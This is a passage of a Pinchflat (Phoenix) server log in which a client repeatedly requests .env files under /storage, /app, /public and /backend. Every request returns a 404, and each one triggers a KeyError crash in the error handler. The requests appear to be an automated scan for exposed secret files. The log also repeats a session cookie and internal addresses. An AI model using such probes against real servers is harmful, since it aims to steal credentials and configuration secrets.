"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11778.0>, params: %{}, path_info: ["storage", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/storage/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWZVltX1HY3sABUKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_para (truncated) 17:14:20.446 [info] GET /app/.env 17:14:20.446 [debug] QUERY OK source="settings" db=0.1ms idle=543.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:20.447 [debug] QUERY OK source="settings" db=0.0ms idle=543.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:20.447 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:20.447 [error] #PID<0.11779.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 12) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11779.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWaWR3i4IA4sABUMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:20.718 [info] GET /public/.env 17:14:20.719 [debug] QUERY OK source="settings" db=0.2ms idle=798.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:20.719 [debug] QUERY OK source="settings" db=0.1ms idle=543.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:20.719 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:20.720 [error] #PID<0.11780.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 13) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /public/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11780.0>, params: %{}, path_info: ["public", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/public/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWbXOUkBWUeUABUOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:20.991 [info] GET /backend/.env 17:14:20.991 [debug] QUERY OK source="settings" db=0.1ms idle=544.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:20.991 [debug] QUERY OK source="settings" db=0.0ms idle=544.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:20.992 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:20.992 [error] #PID<0.11781.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 14) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11781.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWcYLAT_xxgQABUQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => 